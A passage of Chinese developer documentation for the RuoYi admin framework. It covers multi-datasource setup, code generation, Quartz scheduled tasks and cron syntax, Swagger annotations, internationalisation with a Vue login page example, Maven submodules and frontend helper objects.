结果很明显,我们多了如下语句。通过角色部门表(sys_role_dept)
完成了数据权限过滤
and u.dept_id in ( select dept_id from sys_role_dept where role_id = 2 )
逻辑实现代码 com.ruoyi.framework.aspectj.DataScopeAspect
提示
仅实体继承BaseEntity
才会进行处理,SQL
语句会存放到BaseEntity
对象中的params
属性中,然后在xml
中通过${params.dataScope}
获取拼接后的语句。
十五、多数据源
在实际开发中,经常可能遇到在一个应用中可能需要访问多个数据库的情况,在项目中使用注解来完成此项功能。
在需要被切换数据源的Service
或Mapper
方法上添加@DataSource
注解,使用方法如下:
@DataSource(value = DataSourceType.MASTER) public List<...> select(...) { return mapper.select(...); }
其中value
用来表示数据源名称,除MASTER
和SLAVE
其他均需要进行配置。
1、注解参数说明
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
value | DataSourceType | DataSourceType.MASTER | 主库 |
2、多数据源使用
1、在application-druid.yml
配置从库数据源
# 从库数据源 slave: # 从数据源开关/默认关闭 enabled: true url: jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: password
2、在DataSourceType
类添加数据源枚举
/** * 从库 */ SLAVE
3、在DruidConfig
配置读取数据源
@Bean @ConfigurationProperties("spring.datasource.druid.slave") @ConditionalOnProperty(prefix = "spring.datasource.druid.slave", name = "enabled", havingValue = "true") public DataSource slaveDataSource(DruidProperties druidProperties) { DruidDataSource dataSource = DruidDataSourceBuilder.create().build(); return druidProperties.dataSource(dataSource); }
4、在DruidConfig
类dataSource
方法添加数据源
setDataSource(targetDataSources, DataSourceType.SLAVE.name(), "slaveDataSource");
5、在需要使用多数据源方法或类上添加@DataSource
注解,其中value
用来表示数据源
@DataSource(value = DataSourceType.SLAVE) public List<SysUser> selectUserList(SysUser user) { return userMapper.selectUserList(user); }
@Service @DataSource(value = DataSourceType.SLAVE) public class SysUserServiceImpl
3、手动切换数据源
在需要切换数据源的方法中使用DynamicDataSourceContextHolder
类实现手动切换,使用方法如下:
public List<SysUser> selectUserList(SysUser user) { DynamicDataSourceContextHolder.setDataSourceType(DataSourceType.SLAVE.name()); List<SysUser> userList = userMapper.selectUserList(user); DynamicDataSourceContextHolder.clearDataSourceType(); return userList; }
逻辑实现代码 com.ruoyi.framework.aspectj.DataSourceAspect
注意:目前配置了一个从库,默认关闭状态。如果不需要多数据源不用做任何配置。 另外可新增多个从库。支持不同数据源(Mysql、Oracle、SQLServer)
提示
如果有Service
方法内多个注解无效的情况使用内部方法调用SpringUtils.getAopProxy(this).xxxxxx(xxxx)
;
十六、代码生成
大部分项目里其实有很多代码都是重复的,几乎每个基础模块的代码都有增删改查的功能,而这些功能都是大同小异, 如果这些功能都要自己去写,将会大大浪费我们的精力降低效率。所以这种重复性的代码可以使用代码生成。
1、默认配置
单应用在resources
目录下的application.yml
,多模块ruoyi-generator
中的resources
目录下的generator.yml
,可以自己根据实际情况调整默认配置。
# 代码生成 gen: # 开发者姓名,生成到类注释上 author: ruoyi # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool packageName: com.ruoyi.system # 自动去除表前缀,默认是false autoRemovePre: false # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) tablePrefix: sys_
2、单表结构
新建数据库表结构(单表)
drop table if exists sys_student; create table sys_student ( student_id int(11) auto_increment comment '编号', student_name varchar(30) default '' comment '学生名称', student_age int(3) default null comment '年龄', student_hobby varchar(30) default '' comment '爱好(0代码 1音乐 2电影)', student_sex char(1) default '0' comment '性别(0男 1女 2未知)', student_status char(1) default '0' comment '状态(0正常 1停用)', student_birthday datetime comment '生日', primary key (student_id) ) engine=innodb auto_increment=1 comment = '学生信息表';
3、树表结构
新建数据库表结构(树表)
drop table if exists sys_product; create table sys_product ( product_id bigint(20) not null auto_increment comment '产品id', parent_id bigint(20) default 0 comment '父产品id', product_name varchar(30) default '' comment '产品名称', order_num int(4) default 0 comment '显示顺序', status char(1) default '0' comment '产品状态(0正常 1停用)', primary key (product_id) ) engine=innodb auto_increment=1 comment = '产品表';
4、主子表结构
新建数据库表结构(主子表)
-- ---------------------------- -- 客户表 -- ---------------------------- drop table if exists sys_customer; create table sys_customer ( customer_id bigint(20) not null auto_increment comment '客户id', customer_name varchar(30) default '' comment '客户姓名', phonenumber varchar(11) default '' comment '手机号码', sex varchar(20) default null comment '客户性别', birthday datetime comment '客户生日', remark varchar(500) default null comment '客户描述', primary key (customer_id) ) engine=innodb auto_increment=1 comment = '客户表'; -- ---------------------------- -- 商品表 -- ---------------------------- drop table if exists sys_goods; create table sys_goods ( goods_id bigint(20) not null auto_increment comment '商品id', customer_id bigint(20) not null comment '客户id', name varchar(30) default '' comment '商品名称', weight int(5) default null comment '商品重量', price decimal(6,2) default null comment '商品价格', date datetime comment '商品时间', type char(1) default null comment '商品种类', primary key (goods_id) ) engine=innodb auto_increment=1 comment = '商品表';
5、代码生成使用
1、登录系统(系统工具 -> 代码生成 -> 导入对应表)
2、代码生成列表中找到需要表(可预览、编辑、同步、删除生成配置)
3、点击生成代码会得到一个ruoyi.zip
执行sql
文件,按照包内目录结构复制到自己的项目中即可
代码生成支持编辑、预览、同步
预览:对生成的代码提前预览,防止出现一些不符合预期的情况。
同步:对原表的字段进行同步,包括新增、删除、修改的字段处理。
修改:对生成的代码基本信息、字段信息、生成信息做一系列的调整。
另外多模块所有代码生成的相关业务逻辑代码在ruoyi-generator
模块,不需要可以自行删除模块。
十七、定时任务
在实际项目开发中Web应用有一类不可缺少的,那就是定时任务。 定时任务的场景可以说非常广泛,比如某些视频网站,购买会员后,每天会给会员送成长值,每月会给会员送一些电影券; 比如在保证最终一致性的场景中,往往利用定时任务调度进行一些比对工作;比如一些定时需要生成的报表、邮件;比如一些需要定时清理数据的任务等。 所以我们提供方便友好的web界面,实现动态管理任务,可以达到动态控制定时任务启动、暂停、重启、删除、添加、修改等操作,极大地方便了开发过程。
提示
关于定时任务使用流程
1、后台添加定时任务处理类(支持Bean
调用、Class
类调用)
Bean
调用示例:需要添加对应Bean
注解@Component
或@Service
。调用目标字符串:ryTask.ryParams('ry')
Class
类调用示例:添加类和方法指定包即可。调用目标字符串:com.ruoyi.quartz.task.RyTask.ryParams('ry')
/** * 定时任务调度测试 * * @author ruoyi */ @Component("ryTask") public class RyTask { public void ryMultipleParams(String s, Boolean b, Long l, Double d, Integer i) { System.out.println(StringUtils.format("执行多参方法: 字符串类型{},布尔类型{},长整型{},浮点型{},整形{}", s, b, l, d, i)); } public void ryParams(String params) { System.out.println("执行有参方法:" + params); } public void ryNoParams() { System.out.println("执行无参方法"); } }
2、前端新建定时任务信息(系统监控 -> 定时任务)
任务名称:自定义,如:定时查询任务状态
任务分组:根据字典sys_job_group
配置
调用目标字符串:设置后台任务方法名称参数
执行表达式:可查询官方cron
表达式介绍
执行策略:定时任务自定义执行策略
并发执行:是否需要多个任务间同时执行
状态:是否启动定时任务
备注:定时任务描述信息
3、点击执行一次,测试定时任务是否正常及调度日志是否正确记录,如正常执行表示任务配置成功。
执行策略详解:
立即执行
(所有misfire
的任务会马上执行)打个比方,如果9点misfire
了,在10:15系统恢复之后,9点,10点的misfire
会马上执行
执行一次
(会合并部分的misfire
,正常执行下一个周期的任务)假设9,10的任务都misfire
了,系统在10:15分起来了。只会执行一次misfire
,下次正点执行。
放弃执行
(所有的misfire
不管,执行下一个周期的任务)
方法参数详解:
字符串
(需要单引号''标识 如:ryTask.ryParams(’ry’)
)
布尔类型
(需要true false标识 如:ryTask.ryParams(true)
)
长整型
(需要L标识 如:ryTask.ryParams(2000L)
)
浮点型
(需要D标识 如:ryTask.ryParams(316.50D)
)
整型
(纯数字即可)
cron表达式语法:
[秒] [分] [小时] [日] [月] [周] [年]
说明 | 必填 | 允许填写的值 | 允许的通配符 |
---|---|---|---|
秒 | 是 | 0-59 | , - * / |
分 | 是 | 0-59 | , - * / |
时 | 是 | 0-23 | , - * / |
日 | 是 | 1-31 | , - * / |
月 | 是 | 1-12 / JAN-DEC | , - * ? / L W |
周 | 是 | 1-7 or SUN-SAT | , - * ? / L # |
年 | 是 | 1970-2099 | , - * / |
通配符说明:
*
表示所有值。 例如:在分的字段上设置 *,表示每一分钟都会触发
?
表示不指定值。使用的场景为不需要关心当前设置这个字段的值。例如:要在每月的10号触发一个操作,但不关心是周几,所以需要周位置的那个字段设置为”?” 具体设置为 0 0 0 10 * ?
-
表示区间。例如 在小时上设置 “10-12”,表示 10,11,12点都会触发
,
表示指定多个值,例如在周字段上设置 “MON,WED,FRI” 表示周一,周三和周五触发
/
用于递增触发。如在秒上面设置”5/15” 表示从5秒开始,每增15秒触发(5,20,35,50)。 在月字段上设置’1/3’所示每月1号开始,每隔三天触发一次
L
表示最后的意思。在日字段设置上,表示当月的最后一天(依据当前月份,如果是二月还会依据是否是润年[leap]), 在周字段上表示星期六,相当于”7”或”SAT”。如果在”L”前加上数字,则表示该数据的最后一个。例如在周字段上设置”6L”这样的格式,则表示“本月最后一个星期五”
W
表示离指定日期的最近那个工作日(周一至周五). 例如在日字段上置”15W”,表示离每月15号最近的那个工作日触发。如果15号正好是周六,则找最近的周五(14号)触发, 如果15号是周未,则找最近的下周一(16号)触发.如果15号正好在工作日(周一至周五),则就在该天触发。如果指定格式为 “1W”,它则表示每月1号往后最近的工作日触发。如果1号正是周六,则将在3号下周一触发。(注,”W”前只能设置具体的数字,不允许区间”-“)
#
序号(表示每月的第几个周几),例如在周字段上设置”6#3”表示在每月的第三个周六.注意如果指定”#5”,正好第五周没有周六,则不会触发该配置(用在母亲节和父亲节再合适不过了) ;小提示:’L’和 ‘W’可以一组合使用。如果在日字段上设置”LW”,则表示在本月的最后一个工作日触发;周字段的设置,若使用英文字母是不区分大小写的,即MON与mon相同
常用表达式例子:
表达式 | 说明 |
---|---|
0 0 2 1 * ? * | 表示在每月的1日的凌晨2点调整任务 |
0 15 10 ? * MON-FRI | 表示周一到周五每天上午10:15执行作业 |
0 15 10 ? 6L 2002-2006 | 表示2002-2006年的每个月的最后一个星期五上午10:15执行作 |
0 0 10,14,16 * * ? | 每天上午10点,下午2点,4点 |
0 0/30 9-17 * * ? | 朝九晚五工作时间内每半小时 |
0 0 12 ? * WED | 表示每个星期三中午12点 |
0 0 12 * * ? | 每天中午12点触发 |
0 15 10 ? * * | 每天上午10:15触发 |
0 15 10 * * ? | 每天上午10:15触发 |
0 15 10 * * ? * | 每天上午10:15触发 |
0 15 10 * * ? 2005 | 2005年的每天上午10:15触发 |
0 * 14 * * ? | 在每天下午2点到下午2:59期间的每1分钟触发 |
0 0/5 14 * * ? | 在每天下午2点到下午2:55期间的每5分钟触发 |
0 0/5 14,18 * * ? | 在每天下午2点到2:55期间和下午6点到6:55期间的每5分钟触发 |
0 0-5 14 * * ? | 在每天下午2点到下午2:05期间的每1分钟触发 |
0 10,44 14 ? 3 WED | 每年三月的星期三的下午2:10和2:44触发 |
0 15 10 ? * MON-FRI | 周一至周五的上午10:15触发 |
0 15 10 15 * ? | 每月15日上午10:15触发 |
0 15 10 L * ? | 每月最后一日的上午10:15触发 |
0 15 10 ? * 6L | 每月的最后一个星期五上午10:15触发 |
0 15 10 ? * 6L 2002-2005 | 2002年至2005年的每月的最后一个星期五上午10:15触发 |
0 15 10 ? * 6#3 | 每月的第三个星期五上午10:15触发 |
多模块所有定时任务的相关业务逻辑代码在ruoyi-quartz
模块,可以自行调整或剔除
注意:不同数据源定时任务都有对应脚本,Oracle、Mysql已经有了,其他的可自行下载执行
十八、系统接口
在现在的开发过程中还有很大一部分公司都是以口口相传的方式来进行前后端的联调,而接口文档很大一部分都只停留在了说说而已的地步,或者写了代码再写文档。 还有一点就是文档的修改,定义好的接口并不是一成不变的,可能在开发过程中文档修改不止一次的变化,这个时候就会很难受了。 只要不是强制性要求,没人会愿意写这东西,而且在写的过程中,一个字母的错误就会导致联调时候的很大麻烦,但是通过Swagger
,我们可以省略了这一步,而且文档出错率近乎于零, 只要你在写代码的时候,稍加几个注解,文档自动生成。
1、在控制层Controller
中添加注解来描述接口信息如:
@Api("参数配置") @Controller @RequestMapping("/system/config") public class ConfigController
2、在方法中配置接口的标题信息
@ApiOperation("查询参数列表") @ResponseBody public TableDataInfo list(Config config) { startPage(); List<Config> list = configService.selectConfigList(config); return getDataTable(list); }
3、在系统工具-系统接口
测试相关接口
注意:SwaggerConfig可以指定根据注解或者包名扫描具体的API
API详细说明
作用范围 | API | 使用位置 |
---|---|---|
协议集描述 | @Api | 用于controller类上 |
对象属性 | @ApiModelProperty | 用在出入参数对象的字段上 |
协议描述 | @ApiOperation | 用在controller的方法上 |
Response集 | @ApiResponses | 用在controller的方法上 |
Response | @ApiResponse | 用在 @ApiResponses里边 |
非对象参数集 | @ApiImplicitParams | 用在controller的方法上 |
非对象参数描述 | @ApiImplicitParam | 用在@ApiImplicitParams的方法里边 |
描述返回对象的意义 | @ApiModel | 用在返回对象类上 |
api
标记,用在类上,说明该类的作用。可以标记一个Controller
类做为Swagger
文档资源,使用方式:
@Api(value = "/user", description = "用户管理")
与Controller
注解并列使用。 属性配置:
属性名称 | 备注 |
---|---|
value | url的路径值 |
tags | 如果设置这个值、value的值会被覆盖 |
description | 对api资源的描述 |
basePath | 基本路径可以不配置 |
position | 如果配置多个Api 想改变显示的顺序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高级特性认证时配置 |
hidden | 配置为true 将在文档中隐藏 |
ApiOperation
标记,用在方法上,说明方法的作用,每一个url
资源的定义,使用方式:
@ApiOperation("获取用户信息")
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
value | url的路径值 |
tags | 如果设置这个值、value的值会被覆盖 |
description | 对api资源的描述 |
basePath | 基本路径可以不配置 |
position | 如果配置多个Api 想改变显示的顺序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高级特性认证时配置 |
hidden | 配置为true将在文档中隐藏 |
response | 返回的对象 |
responseContainer | 这些对象是有效的 "List", "Set" or "Map".,其他无效 |
httpMethod | "GET", "HEAD", "POST", "PUT", "DELETE", "OPTIONS" and "PATCH" |
code | http的状态码 默认 200 |
extensions | 扩展属性 |
ApiParam
标记,请求属性,使用方式:
public TableDataInfo list(@ApiParam(value = "查询用户列表", required = true)User user)
与Controller中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
name | 属性名称 |
value | 属性值 |
defaultValue | 默认属性值 |
allowableValues | 可以不配置 |
required | 是否属性必填 |
access | 不过多描述 |
allowMultiple | 默认为false |
hidden | 隐藏该属性 |
example | 举例子 |
ApiResponse
标记,响应配置,使用方式:
@ApiResponse(code = 400, message = "查询用户失败")
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
code | http的状态码 |
message | 描述 |
response | 默认响应类 Void |
reference | 参考ApiOperation中配置 |
responseHeaders | 参考 ResponseHeader 属性配置说明 |
responseContainer | 参考ApiOperation中配置 |
ApiResponses
标记,响应集配置,使用方式:
@ApiResponses({ @ApiResponse(code = 400, message = "无效的用户") })
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
value | 多个ApiResponse配置 |
ResponseHeader
标记,响应头设置,使用方法
@ResponseHeader(name="head",description="响应头设计")
与Controller
中的方法并列使用,属性配置:
属性名称 | 备注 |
---|---|
name | 响应头名称 |
description | 描述 |
response | 默认响应类 void |
responseContainer | 参考ApiOperation中配置 |
十九、防重复提交
在接口方法上添加@RepeatSubmit
注解即可,注解参数说明:
参数 | 类型 | 默认值 | 描述 |
---|---|---|---|
interval | int | 5000 | 间隔时间(ms),小于此时间视为重复提交 |
message | String | 不允许重复提交,请稍后再试 | 提示消息 |
示例1:采用默认参数
@RepeatSubmit public AjaxResult addSave(...) { return success(...); }
示例2:指定防重复时间和错误消息
@RepeatSubmit(interval = 1000, message = "请求过于频繁") public AjaxResult addSave(...) { return success(...); }
二十、国际化支持
在我们开发WEB项目的时候,项目可能涉及到在国外部署或者应用,也有可能会有国外的用户对项目进行访问,那么在这种项目中, 为客户展现的页面或者操作的信息就需要使用不同的语言,这就是我们所说的项目国际化。 目前项目已经支持多语言国际化,接下来我们介绍如何使用。
1、后台国际化流程
1、修改I18nConfig
设置默认语言,如默认中文
:
// 默认语言,英文可以设置Locale.US slr.setDefaultLocale(Locale.SIMPLIFIED_CHINESE);
2、修改配置application.yml
中的basename
国际化文件,默认是i18n
路径下messages
文件
(比如现在国际化文件是xx_zh_CN.properties
、xx_en_US.properties
,那么basename
配置应为是i18n/xx
spring: # 资源信息 messages: # 国际化资源文件路径 basename: static/i18n/messages
3、i18n
目录文件下定义资源文件
美式英语 messages_en_US.properties
user.login.username=User name user.login.password=Password user.login.code=Security code user.login.remember=Remember me user.login.submit=Sign In
中文简体 messages_zh_CN.properties
user.login.username=用户名 user.login.password=密码 user.login.code=验证码 user.login.remember=记住我 user.login.submit=登录
4、java代码使用MessageUtils
获取国际化
MessageUtils.message("user.login.username") MessageUtils.message("user.login.password") MessageUtils.message("user.login.code") MessageUtils.message("user.login.remember") MessageUtils.message("user.login.submit")
2、前端国际化流程
1、package.json
中dependencies
节点添加vue-i18n
"vue-i18n": "7.3.2",
1
2、src
目录下创建lang目录,存放国际化文件
此处包含三个文件,分别是 index.js
zh.js
en.js
// index.js import Vue from 'vue' import VueI18n from 'vue-i18n' import Cookies from 'js-cookie' import elementEnLocale from 'element-ui/lib/locale/lang/en' // element-ui lang import elementZhLocale from 'element-ui/lib/locale/lang/zh-CN'// element-ui lang import enLocale from './en' import zhLocale from './zh' Vue.use(VueI18n) const messages = { en: { ...enLocale, ...elementEnLocale }, zh: { ...zhLocale, ...elementZhLocale } } const i18n = new VueI18n({ // 设置语言 选项 en | zh locale: Cookies.get('language') || 'en', // 设置文本内容 messages }) export default i18n
// zh.js export default { login: { title: '若依后台管理系统', logIn: '登录', username: '账号', password: '密码' }, tagsView: { refresh: '刷新', close: '关闭', closeOthers: '关闭其它', closeAll: '关闭所有' }, settings: { title: '系统布局配置', theme: '主题色', tagsView: '开启 Tags-View', fixedHeader: '固定 Header', sidebarLogo: '侧边栏 Logo' } }
// en.js export default { login: { title: 'RuoYi Login Form', logIn: 'Log in', username: 'Username', password: 'Password' }, tagsView: { refresh: 'Refresh', close: 'Close', closeOthers: 'Close Others', closeAll: 'Close All' }, settings: { title: 'Page style setting', theme: 'Theme Color', tagsView: 'Open Tags-View', fixedHeader: 'Fixed Header', sidebarLogo: 'Sidebar Logo' } }
3、在src/main.js
中增量添加i18n
import i18n from './lang' // use添加i18n Vue.use(Element, { i18n: (key, value) => i18n.t(key, value) }) new Vue({ i18n, })
4、在src/store/getters.js
中添加language
language: state => state.app.language,
15、在src/store/modules/app.js
中增量添加i18n
const state = { language: Cookies.get('language') || 'en' } const mutations = { SET_LANGUAGE: (state, language) => { state.language = language Cookies.set('language', language) } } const actions = { setLanguage({ commit }, language) { commit('SET_LANGUAGE', language) } }
6、在src/components/LangSelect/index.vue
中创建汉化组件
<template> <el-dropdown trigger="click" class="international" @command="handleSetLanguage"> <div> <svg-icon class-name="international-icon" icon-class="language" /> </div> <el-dropdown-menu slot="dropdown"> <el-dropdown-item :disabled="language==='zh'" command="zh"> 中文 </el-dropdown-item> <el-dropdown-item :disabled="language==='en'" command="en"> English </el-dropdown-item> </el-dropdown-menu> </el-dropdown> </template> <script> export default { computed: { language() { return this.$store.getters.language } }, methods: { handleSetLanguage(lang) { this.$i18n.locale = lang this.$store.dispatch('app/setLanguage', lang) this.$message({ message: '设置语言成功', type: 'success' }) } } } </script>
7、登录页面汉化
<template> <div class="login"> <el-form ref="loginForm" :model="loginForm" :rules="loginRules" class="login-form"> <h3 class="title">{{ $t('login.title') }}</h3> <lang-select class="set-language" /> <el-form-item prop="username"> <el-input v-model="loginForm.username" type="text" auto-complete="off" :placeholder="$t('login.username')"> <svg-icon slot="prefix" icon-class="user" class="el-input__icon input-icon" /> </el-input> </el-form-item> <el-form-item prop="password"> <el-input v-model="loginForm.password" type="password" auto-complete="off" :placeholder="$t('login.password')" @keyup.enter.native="handleLogin" > <svg-icon slot="prefix" icon-class="password" class="el-input__icon input-icon" /> </el-input> </el-form-item> <el-form-item prop="code"> <el-input v-model="loginForm.code" auto-complete="off" placeholder="验证码" style="width: 63%" @keyup.enter.native="handleLogin" > <svg-icon slot="prefix" icon-class="validCode" class="el-input__icon input-icon" /> </el-input> <div class="login-code"> <img :src="codeUrl" @click="getCode" /> </div> </el-form-item> <el-checkbox v-model="loginForm.rememberMe" style="margin:0px 0px 25px 0px;">记住密码</el-checkbox> <el-form-item style="width:100%;"> <el-button :loading="loading" size="medium" type="primary" style="width:100%;" @click.native.prevent="handleLogin" > <span v-if="!loading">{{ $t('login.logIn') }}</span> <span v-else>登 录 中...</span> </el-button> </el-form-item> </el-form> <!-- 底部 --> <div class="el-login-footer"> <span>Copyright © 2018-2019 ruoyi.vip All Rights Reserved.</span> </div> </div> </template> <script> import LangSelect from '@/components/LangSelect' import { getCodeImg } from "@/api/login"; import Cookies from "js-cookie"; import { encrypt, decrypt } from '@/utils/jsencrypt' export default { name: "Login", components: { LangSelect }, data() { return { codeUrl: "", cookiePassword: "", loginForm: { username: "admin", password: "admin123", rememberMe: false, code: "", uuid: "" }, loginRules: { username: [ { required: true, trigger: "blur", message: "用户名不能为空" } ], password: [ { required: true, trigger: "blur", message: "密码不能为空" } ], code: [{ required: true, trigger: "change", message: "验证码不能为空" }] }, loading: false, redirect: undefined }; }, watch: { $route: { handler: function(route) { this.redirect = route.query && route.query.redirect; }, immediate: true } }, created() { this.getCode(); this.getCookie(); }, methods: { getCode() { getCodeImg().then(res => { this.codeUrl = "data:image/gif;base64," + res.img; this.loginForm.uuid = res.uuid; }); }, getCookie() { const username = Cookies.get("username"); const password = Cookies.get("password"); const rememberMe = Cookies.get('rememberMe') this.loginForm = { username: username === undefined ? this.loginForm.username : username, password: password === undefined ? this.loginForm.password : decrypt(password), rememberMe: rememberMe === undefined ? false : Boolean(rememberMe) }; }, handleLogin() { this.$refs.loginForm.validate(valid => { if (valid) { this.loading = true; if (this.loginForm.rememberMe) { Cookies.set("username", this.loginForm.username, { expires: 30 }); Cookies.set("password", encrypt(this.loginForm.password), { expires: 30 }); Cookies.set('rememberMe', this.loginForm.rememberMe, { expires: 30 }); } else { Cookies.remove("username"); Cookies.remove("password"); Cookies.remove('rememberMe'); } this.$store .dispatch("Login", this.loginForm) .then(() => { this.loading = false; this.$router.push({ path: this.redirect || "/" }); }) .catch(() => { this.loading = false; this.getCode(); }); } }); } } }; </script> <style rel="stylesheet/scss" lang="scss"> .login { display: flex; justify-content: center; align-items: center; height: 100%; background-image: url("../assets/image/login-background.jpg"); background-size: cover; } .title { margin: 0px auto 30px auto; text-align: center; color: #707070; } .login-form { border-radius: 6px; background: #ffffff; width: 400px; padding: 25px 25px 5px 25px; .el-input { height: 38px; input { height: 38px; } } .input-icon { height: 39px; width: 14px; margin-left: 2px; } } .login-tip { font-size: 13px; text-align: center; color: #bfbfbf; } .login-code { width: 33%; height: 38px; float: right; img { cursor: pointer; vertical-align: middle; } } .el-login-footer { height: 40px; line-height: 40px; position: fixed; bottom: 0; width: 100%; text-align: center; color: #fff; font-family: Arial; font-size: 12px; letter-spacing: 1px; } </style>
普通文本使用方式: {{ $t('login.title') }} 标签内使用方式: :placeholder="$t('login.password')" js内使用方式 this.$t('login.user.password.not.match')
二十一、新建子模块
Maven
多模块下新建子模块流程案例。
1、新建业务模块目录,例如:ruoyi-test
。
2、在ruoyi-test
业务模块下新建pom.xml
文件以及src\main\java
,src\main\resources
目录。
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <artifactId>ruoyi</artifactId> <groupId>com.ruoyi</groupId> <version>x.x.x</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>ruoyi-test</artifactId> <description> test系统模块 </description> <dependencies> <!-- 通用工具--> <dependency> <groupId>com.ruoyi</groupId> <artifactId>ruoyi-common</artifactId> </dependency> </dependencies> </project>
3、根目录pom.xml
依赖声明节点dependencies
中添加依赖
<!-- 测试模块--> <dependency> <groupId>com.ruoyi</groupId> <artifactId>ruoyi-test</artifactId> <version>${ruoyi.version}</version> </dependency>
4、根目录pom.xml
模块节点modules
添加业务模块
<module>ruoyi-test</module>
5、ruoyi-admin
目录pom.xml
添加模块依赖
<!-- 测试模块--> <dependency> <groupId>com.ruoyi</groupId> <artifactId>ruoyi-test</artifactId> </dependency>
6、测试模块
在ruoyi-test
业务模块添加com.ruoyi.test
包,新建TestService.java
public class TestService { public String helloTest() { return "hello"; } }
在ruoyi-admin
新建测试类,调用helloTest
成功返回hello
代表成功。
二十二、前端手册
1、通用方法
.1、$tab对象
$tab
对象用于做页签操作、刷新页签、关闭页签、打开页签、修改页签等,它定义在plugins/tab.js
文件中,它有如下方法
- 打开页签
this.$tab.openPage("用户管理", "/system/user"); this.$tab.openPage("用户管理", "/system/user").then(() => { // 执行结束的逻辑 })
- 修改页签
const obj = Object.assign({}, this.$route, { title: "自定义标题" }) this.$tab.updatePage(obj); this.$tab.updatePage(obj).then(() => { // 执行结束的逻辑 })
- 关闭页签
// 关闭当前tab页签,打开新页签 const obj = { path: "/system/user" }; this.$tab.closeOpenPage(obj); // 关闭当前页签,回到首页 this.$tab.closePage(); // 关闭指定页签 const obj = { path: "/system/user", name: "User" }; this.$tab.closePage(obj); this.$tab.closePage(obj).then(() => { // 执行结束的逻辑 })
- 刷新页签
// 刷新当前页签 this.$tab.refreshPage(); // 刷新指定页签 const obj = { path: "/system/user", name: "User" }; this.$tab.refreshPage(obj); this.$tab.refreshPage(obj).then(() => { // 执行结束的逻辑 })
- 关闭所有页签
this.$tab.closeAllPage(); this.$tab.closeAllPage().then(() => { // 执行结束的逻辑 })
- 关闭左侧页签
this.$tab.closeLeftPage(); const obj = { path: "/system/user", name: "User" }; this.$tab.closeLeftPage(obj); this.$tab.closeLeftPage(obj).then(() => { // 执行结束的逻辑 })
- 关闭右侧页签
this.$tab.closeRightPage(); const obj = { path: "/system/user", name: "User" }; this.$tab.closeRightPage(obj); this.$tab.closeRightPage(obj).then(() => { // 执行结束的逻辑 })
- 关闭其他tab页签
this.$tab.closeOtherPage(); const obj = { path: "/system/user", name: "User" }; this.$tab.closeOtherPage(obj); this.$tab.closeOtherPage(obj).then(() => { // 执行结束的逻辑 })
.2、$modal对象
$modal
对象用于做消息提示、通知提示、对话框提醒、二次确认、遮罩等,它定义在plugins/modal.js
文件中,它有如下方法
- 提供成功、警告和错误等反馈信息
this.$modal.msg("默认反馈"); this.$modal.msgError("错误反馈"); this.$modal.msgSuccess("成功反馈"); this.$modal.msgWarning("警告反馈");
- 提供成功、警告和错误等提示信息
this.$modal.alert("默认提示"); this.$modal.alertError("错误提示"); this.$modal.alertSuccess("成功提示"); this.$modal.alertWarning("警告提示");
- 提供成功、警告和错误等通知信息
this.$modal.notify("默认通知"); this.$modal.notifyError("错误通知"); this.$modal.notifySuccess("成功通知"); this.$modal.notifyWarning("警告通知");
- 提供确认窗体信息
this.$modal.confirm('确认信息').then(function() { ... }).then(() => { ... }).catch(() => {});
- 提供遮罩层信息
// 打开遮罩层 this.$modal.loading("正在导出数据,请稍后..."); // 关闭遮罩层 this.$modal.closeLoading();
.3、$auth对象
$auth
对象用于验证用户是否拥有某(些)权限或角色,它定义在plugins/auth.js
文件中,它有如下方法
- 验证用户权限
// 验证用户是否具备某权限 this.$auth.hasPermi("system:user:add"); // 验证用户是否含有指定权限,只需包含其中一个 this.$auth.hasPermiOr(["system:user:add", "system:user:update"]); // 验证用户是否含有指定权限,必须全部拥有 this.$auth.hasPermiAnd(["system:user:add", "system:user:update"]);
- 验证用户角色
// 验证用户是否具备某角色 this.$auth.hasRole("admin"); // 验证用户是否含有指定角色,只需包含其中一个 this.$auth.hasRoleOr(["admin", "common"]); // 验证用户是否含有指定角色,必须全部拥有 this.$auth.hasRoleAnd(["admin", "common"]);
.4、$cache对象
$cache
对象用于处理缓存。我们并不建议您直接使用sessionStorage
或localStorage
,因为项目的缓存策略可能发生变化,通过$cache
对象做一层调用代理则是一个不错的选择。$cache
提供session
和local
两种级别的缓存,如下:
对象名称 | 缓存类型 |
---|---|
session | 会话级缓存,通过sessionStorage实现 |
local | 本地级缓存,通过localStorage实现 |
示例
// local 普通值 this.$cache.local.set('key', 'local value') console.log(this.$cache.local.get('key')) // 输出'local value' // session 普通值 this.$cache.session.set('key', 'session value') console.log(this.$cache.session.get('key')) // 输出'session value' // local JSON值 this.$cache.local.setJSON('jsonKey', { localProp: 1 }) console.log(this.$cache.local.getJSON('jsonKey')) // 输出'{localProp: 1}' // session JSON值 this.$cache.session.setJSON('jsonKey', { sessionProp: 1 }) console.log(this.$cache.session.getJSON('jsonKey')) // 输出'{sessionProp: 1}' // 删除值 this.$cache.local.remove('key') this.$cache.session.remove('key')
.5、$download对象
$download
对象用于文件下载,它定义在plugins/download.js
文件中,它有如下方法
- 根据名称下载
download
路径下的文件
const name = "be756b96-c8b5-46c4-ab67-02e988973090.xlsx"; const isDelete = true; // 默认下载方法 this.$download.name(name); // 下载完成后是否删除文件 this.$download.name(name, isDelete);
- 根据名称下载
upload
路径下的文件
const resource = "/profile/upload/2021/09/27/be756b96-c8b5-46c4-ab67-02e988973090.png"; // 默认方法 this.$download.resource(resource);
- 根据请求地址下载
zip
包
